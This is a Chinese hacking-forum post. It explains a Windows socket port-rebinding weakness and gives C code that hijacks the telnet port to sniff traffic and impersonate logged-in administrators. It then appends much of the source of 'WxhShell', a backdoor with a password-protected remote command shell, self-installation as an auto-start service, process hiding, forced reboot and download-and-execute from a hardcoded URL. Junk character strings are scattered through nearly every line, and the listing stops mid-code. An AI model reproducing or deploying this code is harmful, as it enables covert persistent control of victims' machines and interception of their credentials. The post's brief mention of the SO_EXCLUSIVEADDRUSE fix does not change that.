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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qVE <voB8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cH6J:0>W  
]v#T9QQN  
  saddr.sin_family = AF_INET; Bo0f`EC I  
Cy6%f?j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %7 $X *  
j%i6H1#.Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9JJk\,  
f@0Km^aUc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GYtp%<<9;  
] QJ7q}  
  这意味着什么?意味着可以进行如下的攻击: 84/#,X!=s  
{bNVNG^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }(!3)k7*  
^e--4B9|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %[on.Q'1]2  
'#>(JN5\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uQg&]bSv  
rC6@ ]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L,sFwOWY  
!-4VGt&c,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o @nsv&i  
@4Lol2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,Bl_6ZaL  
dst!VO: M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {dwlW`{  
$pauPEe  
  #include ~7:Q+ 0,,  
  #include Qp+M5_  
  #include u<EPK*O*  
  #include    L=&}s[5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bycnh  
  int main() Zou;o9Ww  
  { P>'29$1'  
  WORD wVersionRequested; lQpl8>  
  DWORD ret; @_ Tq>tOr&  
  WSADATA wsaData; =l>=]O~h  
  BOOL val; ohi0_mBz  
  SOCKADDR_IN saddr; ,3W,M=j)  
  SOCKADDR_IN scaddr; Y?:" nhN  
  int err; | CPyCM$  
  SOCKET s; :A5h<=[  
  SOCKET sc; .@psW0T%  
  int caddsize; Li9>RY+3  
  HANDLE mt; ;<#=|eD2  
  DWORD tid;   0a:@DOzT  
  wVersionRequested = MAKEWORD( 2, 2 ); ]>[ 0DX]j  
  err = WSAStartup( wVersionRequested, &wsaData ); j+Q+.39s-~  
  if ( err != 0 ) { XQZiJ %'  
  printf("error!WSAStartup failed!\n"); &3:<WU:U  
  return -1; =oTj3+7  
  } fDAT#nlyp  
  saddr.sin_family = AF_INET; !*o{xq   
   { }P~nP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w`[`:H_z  
5 Q,j+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9>;CvR  
  saddr.sin_port = htons(23); &t}6sD9o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &}d5'IRT  
  { f<>CSjQ4c  
  printf("error!socket failed!\n"); fzUG1|$e  
  return -1; Nb)Mh  
  } oG c9 6B%  
  val = TRUE; " Rn@yZV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UQjYWXvi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pW_mS|  
  { *A0*.>@N  
  printf("error!setsockopt failed!\n"); y 7z)lBy\  
  return -1; %`lLX/4~  
  } >]kZ2gVt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ow;a7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s`=&l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !{vZvy"  
Pb<6-Jc[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) on 4 $n7  
  { 6E9o*YSk  
  ret=GetLastError(); a0 's6C  
  printf("error!bind failed!\n"); 5m\)82s  
  return -1; 5>h/LE]"  
  } "8E=*2fcw  
  listen(s,2); =.qPjp_Qd  
  while(1) G$2Pny<!  
  { 9/{ 8Y&  
  caddsize = sizeof(scaddr); A @e!~  
  //接受连接请求 u/%Z0`X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a\KM^jrCD  
  if(sc!=INVALID_SOCKET) cCcJOhk|d  
  { j9.%(*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iYGa4@/uM  
  if(mt==NULL) r|y\FL  
  { n<ecVFft  
  printf("Thread Creat Failed!\n"); E5\>mf ,;u  
  break; L;fz7?_j  
  } $F6GCM3Cx  
  } G`f|#-}  
  CloseHandle(mt); cbW=kQc_  
  } qNUd "%S  
  closesocket(s); VH] <o0  
  WSACleanup(); O6ltGtF  
  return 0; +pe\9F  
  }   Gn;^]8d  
  DWORD WINAPI ClientThread(LPVOID lpParam) <g64N  
  { s\(@f4p  
  SOCKET ss = (SOCKET)lpParam; -c#vWuLl  
  SOCKET sc; c_Iq!MH  
  unsigned char buf[4096];  ~;uU{TT  
  SOCKADDR_IN saddr; B^.:dn  
  long num; .g_^! t  
  DWORD val; 'l3 DP  
  DWORD ret; df/7u}>9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zUWeOR'X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    SPnW8  
  saddr.sin_family = AF_INET; 0 > QqsQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9{%/I   
  saddr.sin_port = htons(23); [-^xw1:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =-avzuy#  
  {  WfQZ7e  
  printf("error!socket failed!\n"); U-D00l7C  
  return -1; QN#tj$x  
  } c/%GfB[w0  
  val = 100; n{=Ot^ ";  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /< Dtu UM  
  { e@PY(#ru  
  ret = GetLastError(); u ^M'[<{  
  return -1; 7gREcL2  
  } I0G[K~gb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >^g\s]c[  
  { .-1'#Z1T  
  ret = GetLastError(); Yw\lNhoPS  
  return -1; /1eeNbd  
  } 6 kD.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NleMZ  
  { 9 $^b^It  
  printf("error!socket connect failed!\n"); eL [.;_  
  closesocket(sc); $)6x3&]P  
  closesocket(ss); 7_J0[C!G  
  return -1; }/jWa |)f  
  } gI/(hp3ob  
  while(1) {uxTgX  
  { I(j$^DA.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >|mZu)HIY;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8Ep!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3teP6|K'g  
  num = recv(ss,buf,4096,0); xdMY2u  
  if(num>0) l!:L<B  
  send(sc,buf,num,0); m@YK8 c#$  
  else if(num==0) !P gwFJ  
  break; Us_1 #$p,  
  num = recv(sc,buf,4096,0); AmrVxn4  
  if(num>0) H% FP!03  
  send(ss,buf,num,0); 9{Igw"9ck  
  else if(num==0) 3il$V78|  
  break; FJFO0Hb6  
  } bd2QQ1[1vh  
  closesocket(ss); !Oi':OQG  
  closesocket(sc); -*qoF(/U  
  return 0 ; <KX+j,4  
  } Nl^u A  
o* e'D7  
DH)E9HL  
========================================================== (4/W)L$  
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下边附上一个代码,,WXhSHELL &d]@$4u$;  
'f8'|o)  
========================================================== ;_0frX  
$y%IM`/w  
#include "stdafx.h" GE=PaYz  
>[Tt'.S!?  
#include <stdio.h> RL*b4 7,  
#include <string.h> wM}AWmH  
#include <windows.h> Kd*=-  
#include <winsock2.h> lBudC  
#include <winsvc.h> z6|kEc"{  
#include <urlmon.h> z&\N^tBv  
Y/ %XkDC~  
#pragma comment (lib, "Ws2_32.lib") TY?O$d2b3  
#pragma comment (lib, "urlmon.lib")  m=a^t  
a'O-0]g,  
#define MAX_USER   100 // 最大客户端连接数 JW"n#sR4  
#define BUF_SOCK   200 // sock buffer w8zr0z  
#define KEY_BUFF   255 // 输入 buffer }|wC7*^)  
*d31fBCk%  
#define REBOOT     0   // 重启 Zh_3ydMD1  
#define SHUTDOWN   1   // 关机 N$u: !  
1?G%&X@ X  
#define DEF_PORT   5000 // 监听端口 lUw=YM  
 IuMJ-"  
#define REG_LEN     16   // 注册表键长度 7Rn 4gT  
#define SVC_LEN     80   // NT服务名长度 6=S z5MC  
&AVX03P  
// 从dll定义API i?,\>LTG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); # hw;aQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "*:?m{w5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .vd*~U"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %AA -G  
5Ha(i [d  
// wxhshell配置信息 V 7D<'!  
struct WSCFG { *;Z a))  
  int ws_port;         // 监听端口 U|aEyMU  
  char ws_passstr[REG_LEN]; // 口令 kIRjoKf<F  
  int ws_autoins;       // 安装标记, 1=yes 0=no f`8?]@y{  
  char ws_regname[REG_LEN]; // 注册表键名 B;nIKZ  
  char ws_svcname[REG_LEN]; // 服务名 B7sBO6Z$J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -fN5-AC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 40[@d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0a1Mu>P,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0v``4z2Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P G zwS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I:1Pz|$`  
xpI8QV$#  
}; qHPinxewx  
(3=bKcD'  
// default Wxhshell configuration I1JL`\;4  
struct WSCFG wscfg={DEF_PORT, =L`PP>"rW  
    "xuhuanlingzhe", !e+Sa{X  
    1, M~)iiKw~MY  
    "Wxhshell", W{1l?Wo  
    "Wxhshell", 7| `_5e  
            "WxhShell Service", +-rSO"nc  
    "Wrsky Windows CmdShell Service", IsjN xBM  
    "Please Input Your Password: ", rl-#Ez  
  1, O2xqNQ`d  
  "http://www.wrsky.com/wxhshell.exe", *%%n9T  
  "Wxhshell.exe" yM7FR);  
    }; "]q0|ZdOwH  
z?GtC{L9  
// 消息定义模块 'a$/ !~X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |)mUO:*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XW+-E^d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X|L_}Q7  
char *msg_ws_ext="\n\rExit."; D;OPsNQ  
char *msg_ws_end="\n\rQuit."; {mLv?"M]  
char *msg_ws_boot="\n\rReboot..."; .(s@{=  
char *msg_ws_poff="\n\rShutdown..."; i_nUyH%b  
char *msg_ws_down="\n\rSave to "; `%~f5<  
dP"cm0  
char *msg_ws_err="\n\rErr!"; mq4VwT  
char *msg_ws_ok="\n\rOK!"; h7S; 4]  
W #kLM\2L  
char ExeFile[MAX_PATH]; 8E>2 6@.  
int nUser = 0; !/1 ~  
HANDLE handles[MAX_USER]; O#<S\66  
int OsIsNt; y^D3}ds  
Z=l2Po n  
SERVICE_STATUS       serviceStatus; WGo ryvEx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?P}) Qa  
X>Z83qV5d!  
// 函数声明 I*pFX0+  
int Install(void); `W7;-  
int Uninstall(void); (l/i#  
int DownloadFile(char *sURL, SOCKET wsh); }a%Wu 7D  
int Boot(int flag); kmt+E'^]  
void HideProc(void); 4$4Tx9C  
int GetOsVer(void); S+?*l4QK  
int Wxhshell(SOCKET wsl); |BO5<`&I  
void TalkWithClient(void *cs); >b~Q%{1  
int CmdShell(SOCKET sock); !Nbi&^k B  
int StartFromService(void); `.wgRUhFH;  
int StartWxhshell(LPSTR lpCmdLine); w1 A-_  
}IQ![T5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  [geT u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |7.X)h`  
(1'sBm7F  
// 数据结构和表定义 r^Soqom3  
SERVICE_TABLE_ENTRY DispatchTable[] = @@}muW>;T  
{ K k^!P*#  
{wscfg.ws_svcname, NTServiceMain}, G#='*v OtO  
{NULL, NULL} *48LQzc  
}; 1+l[P9?R[  
,S?:lQuK5  
// 自我安装 $H6ngL  
int Install(void) uL^X$8K;(  
{ \\ZhM  
  char svExeFile[MAX_PATH]; !_?HSDAj"n  
  HKEY key; EPM(hxCIQ  
  strcpy(svExeFile,ExeFile); S-brV\v7  
buHUBn[3)  
// 如果是win9x系统,修改注册表设为自启动 !H @nAz  
if(!OsIsNt) { 9~ifST \  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W7 +Q&4Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z#K0a'  
  RegCloseKey(key); Mi`t$hmP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GB}X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y;hco  
  RegCloseKey(key); vVo# nzeZ5  
  return 0; ^SS9BQ*m  
    } ^(:na6C  
  } j>~ @vq  
} (e<p^T J]  
else { `2'*E\   
f&X M|Bg  
// 如果是NT以上系统,安装为系统服务 0b2;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5'xZ9K  
if (schSCManager!=0) ^!O2Fw  
{ !V/p.O  
  SC_HANDLE schService = CreateService 0JhUncx  
  ( /!y3ZzL  
  schSCManager, Fd._D"  
  wscfg.ws_svcname, {[+Q\<  
  wscfg.ws_svcdisp, sB01 QVx47  
  SERVICE_ALL_ACCESS, QFhQfn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e XmYw^n  
  SERVICE_AUTO_START, ^{g+HFTA@  
  SERVICE_ERROR_NORMAL, |G)bnmi7  
  svExeFile, ;=8@@9  
  NULL, &<C&(g{Z  
  NULL, =gSACDTc  
  NULL, ry4:i4/[  
  NULL, >*}m .'u  
  NULL dw7h@9\ y  
  ); {7=k/Y*U  
  if (schService!=0) `UkPXCC\1  
  { [wJl]i  
  CloseServiceHandle(schService); QSOJHRl=C  
  CloseServiceHandle(schSCManager); BFn}~\wzK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?=?9a  
  strcat(svExeFile,wscfg.ws_svcname); 1:"ZS ]i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  TJb&f<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4_\]zhS  
  RegCloseKey(key); vpk~,D07yR  
  return 0; 1{wOjq(4  
    } bvo }b-]E  
  } J-Fqw-<aFJ  
  CloseServiceHandle(schSCManager); @'S !G"\  
} }$s._)a  
} 9K{0x7~  
23`pog{n  
return 1; yy\d<-X~  
} 6EG`0h6  
x 0L,$Ol  
// 自我卸载  u8[jD^  
int Uninstall(void) {>#4{D00  
{ GZ"J6/0-|  
  HKEY key; sT"{ e7;F;  
N_E :?Jo  
if(!OsIsNt) { {7FD-Q[tS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Q 1%DV.  
  RegDeleteValue(key,wscfg.ws_regname); Pe7% 9  
  RegCloseKey(key); q.RW_t~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C6,W7M[c  
  RegDeleteValue(key,wscfg.ws_regname); lb#`f,r>  
  RegCloseKey(key); ,An*w_  
  return 0; v>mr  
  } |Oe$)(`|h  
} L|w}#|-  
} o=do L{ #  
else { &v_b7h  
{I"d"'h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c::Vh  
if (schSCManager!=0) HoKN<w  
{ +JL"Z4b@R}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g ??@~\Ov  
  if (schService!=0) p:^;A/D  
  { 5nG$6Hw  
  if(DeleteService(schService)!=0) { 7o64|@'j  
  CloseServiceHandle(schService); ZD]5"oHY  
  CloseServiceHandle(schSCManager); jhSc9  
  return 0; y]E ?\03"  
  } |Ok1E  
  CloseServiceHandle(schService); uY=}w"Db  
  } 7~ok*yGw  
  CloseServiceHandle(schSCManager); .;9I:YB$  
} M7n|Z{?(  
} :+|os"  
:. a}pgh  
return 1; 1:lhZFZ  
} E&RK My)  
'B4j=K*  
// 从指定url下载文件 68jq1Y Pv  
int DownloadFile(char *sURL, SOCKET wsh) {\f`s^;8{  
{ K3^N_^H  
  HRESULT hr; 1PJ8O|Z t8  
char seps[]= "/"; d/:zO4v3  
char *token; Wtwh.\Jba  
char *file; |7l*  
char myURL[MAX_PATH]; rF5O?<(  
char myFILE[MAX_PATH]; AW:WDNQh8n  
mEe JK3D[  
strcpy(myURL,sURL); R%N&Y~zH  
  token=strtok(myURL,seps); d.uJ}=|  
  while(token!=NULL) O hcPlr  
  { geu8$^  
    file=token; z,B'I.)M  
  token=strtok(NULL,seps); q#N8IUN}4  
  } ro4 XA1  
KBo/GBD]|  
GetCurrentDirectory(MAX_PATH,myFILE); nr<&j#!L  
strcat(myFILE, "\\"); hUy\)GsT  
strcat(myFILE, file); G>0S( M)  
  send(wsh,myFILE,strlen(myFILE),0); u9"1%  
send(wsh,"...",3,0); KCkA4`IeM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v-@xO&<  
  if(hr==S_OK) ]`x\Oj &  
return 0; 9 &~Rj 9  
else zy9# *gGq  
return 1; ,kKMUshBi  
L7tC?F]}SK  
} 3M{/9rR[  
} .cP  
// 系统电源模块 v1Lu.JQC$  
int Boot(int flag) (s`yMUC+  
{ \f_YJit  
  HANDLE hToken; wg[D*a  
  TOKEN_PRIVILEGES tkp; |PED8K:rU  
Ue <Y ~A  
  if(OsIsNt) { ~h{v^ }  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tA2I_W Cl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -\!"Kz/  
    tkp.PrivilegeCount = 1; N8| ;X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V{[vIt*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  w|>O!]K]  
if(flag==REBOOT) { &dkjT8L$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |:i``gFj  
  return 0; @iwg`j6ol  
} czf|c  
else { r}y]B\/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .^S#h (A  
  return 0; 3%<xM/#  
} JYB<};,  
  } vH+QI  
  else { "[(I*  
if(flag==REBOOT) { J!o[/`4ib  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )MZQ\8,)]  
  return 0; fr%}|7  
} Z\d7dbv  
else { wU#79:h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n^;:V8k  
  return 0; F$FCfP7  
} 6XO%l0dC.  
} YoKY&i6r}  
S/|'ggC  
return 1; X#mppMU  
} dM(}1%2  
lk6*?EJ  
// win9x进程隐藏模块 SPxgIP;IR  
void HideProc(void) F.b;O :  
{ AoEG%nT  
AopC xaJ`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ui,#AZQ#{4  
  if ( hKernel != NULL ) [*O#6Xu  
  { Kd _tjWS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {<a(1#{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !'No5  
    FreeLibrary(hKernel); vb-L "S?kC  
  } (ROurq"  
|:s 4#3  
return; A`4j=OF\  
} :mU,g|~55  
42?X)n>  
// 获取操作系统版本 Pgs^#(^>  
int GetOsVer(void) O>z M(I+p  
{ wY2#xD  
  OSVERSIONINFO winfo; WVp7H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YB h :  
  GetVersionEx(&winfo); ->x+ p"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gd6We)&  
  return 1; dwKre#4F  
  else iXc-_V6  
  return 0; _'k?9eN`  
} =~% B}T  
7CzZHkTg  
// 客户端句柄模块 h5G>FPM-=  
int Wxhshell(SOCKET wsl) xQa[bvW  
{ +!6C^G  
  SOCKET wsh; Y B@\"|}  
  struct sockaddr_in client; 1o7 pMp=  
  DWORD myID; /H=fK  
!6ZkLE[XJ<  
  while(nUser<MAX_USER) 3VbQDPG  
{ ip4:px-  
  int nSize=sizeof(client); C26PQGo#$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9~DoF]TM  
  if(wsh==INVALID_SOCKET) return 1; _gK@),de  
)p>BN|L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7'_zJI^  
if(handles[nUser]==0) ^{["]!f#  
  closesocket(wsh); Ep0L51Q  
else Z'PE^ ,  
  nUser++; l tr =_  
  } KE+y'j#C3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !JjB,1  
>b#z o,  
  return 0; qx<`Kc4  
} lztPexyXZ  
KL!k'4JNY  
// 关闭 socket P8e1J0A  
void CloseIt(SOCKET wsh) W?!(/`J]  
{ x2.G1  
closesocket(wsh); e =Vu;  
nUser--; EVMhc"L  
ExitThread(0); ,b=&iDc  
} *A`hKx  
| QJ!5nb  
// 客户端请求句柄 G8@({EY  
void TalkWithClient(void *cs) %O;"Z`I  
{ 3=1aMQ  
6#O n .Q  
  SOCKET wsh=(SOCKET)cs; LbtcZ)D!  
  char pwd[SVC_LEN]; Dg/&m*Yl  
  char cmd[KEY_BUFF]; L@w|2  
char chr[1]; *KF:  
int i,j; oYnA 3  
_/ZIDIn  
  while (nUser < MAX_USER) { nbMnqkNb  
8zGe5Dn9  
if(wscfg.ws_passstr) { 'i_od|19~h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k/O|ia 6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Z iyT$p  
  //ZeroMemory(pwd,KEY_BUFF); ; )O)\__"-  
      i=0; B=#rp*vwL  
  while(i<SVC_LEN) { X3I\O,"I  
T5&jpP`M  
  // 设置超时 QfB \h[A  
  fd_set FdRead; f3s0.G#l  
  struct timeval TimeOut; x`w 4LF  
  FD_ZERO(&FdRead); /yyed{q  
  FD_SET(wsh,&FdRead); %up ]"L&i  
  TimeOut.tv_sec=8; cu]2`DF  
  TimeOut.tv_usec=0; eb2~$ ,$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (F]f{8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /s(/6~D|  
ox] LlRK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |uQJMf[L)  
  pwd=chr[0]; qr$=oCqa  
  if(chr[0]==0xd || chr[0]==0xa) { s d>&6 R^  
  pwd=0; kg7oH.0E  
  break; \&]'GsfF  
  } KP[ax2!x  
  i++; m;lwMrY\7>  
    } U;:>vi3p  
07Yh  
  // 如果是非法用户,关闭 socket {QTfD~z^K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^Qrdh0j  
} *nluK  
x SF#ys4v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oA}&o_Q%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]|( (&Y rl  
ouK&H|'  
while(1) { bT*MJ7VVm  
S& 8gZ~B  
  ZeroMemory(cmd,KEY_BUFF); ]<A|GY0q1  
Z,qo jtw  
      // 自动支持客户端 telnet标准   [ECSJc&i  
  j=0; 0K`3BuBs  
  while(j<KEY_BUFF) { bQow,vf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U5z^R>k  
  cmd[j]=chr[0]; }XWic88!~  
  if(chr[0]==0xa || chr[0]==0xd) { /}-]n81m  
  cmd[j]=0; {7[^L1  
  break; S3i%7f^C?N  
  } EQ8jxr<p  
  j++; WZ'8{XY8  
    } @a)@1:=Rm  
kYl$V =  
  // 下载文件 _\>?.gg$  
  if(strstr(cmd,"http://")) { NQ !t`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;#I(ucB<  
  if(DownloadFile(cmd,wsh)) -RVwPY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "2}04b|"  
  else .6+j&{WNo!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `+1+0?9  
  } 9 bYoWw  
  else { *TVr| to  
'0GCaL*Sd  
    switch(cmd[0]) { pvQw+jX  
  WmP"u7I4  
  // 帮助 :h=];^/E  
  case '?': { 2)h i(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Hb6  
    break; NZ/gp"D?  
  } F(^vD_G  
  // 安装 oqB(l[%z2  
  case 'i': { JGX E{FT  
    if(Install()) _W/s=pCh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [MdVgJ9'  
    else HvN!_}[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y[i>  
    break; di>"\On-  
    } YH&`+ +  
  // 卸载 c<wsWs 4V  
  case 'r': { SN(:\|f 2  
    if(Uninstall()) kq8:h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $IA(QC_]AO  
    else 1T!b# x4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2HoTj|  
    break; tm@&f  
    } L TZ3r/  
  // 显示 wxhshell 所在路径 c^><^LGb  
  case 'p': { ?<]BLkx  
    char svExeFile[MAX_PATH]; a&6 3[p.<}  
    strcpy(svExeFile,"\n\r"); AIR,XlD  
      strcat(svExeFile,ExeFile); {3@f(H m  
        send(wsh,svExeFile,strlen(svExeFile),0); v{$X2z_$w  
    break; )~v`dwKj;  
    } ;"-(QE?Mv  
  // 重启 .C$S DhJ~  
  case 'b': { wUW^ O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rS\j9@=Y4  
    if(Boot(REBOOT)) x5YW6R.<t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[T^ S  
    else { ' 7+x,TszI  
    closesocket(wsh); t*m04* }  
    ExitThread(0); CeSr~Ikg|  
    } 2Hw&}8  
    break; !'wh hi  
    } D)U 9xA)J  
  // 关机 g&!UaJ[#9  
  case 'd': { Hdw;=]-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z,)4(#b =  
    if(Boot(SHUTDOWN)) !?Gt5$f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?OW 4J0B'  
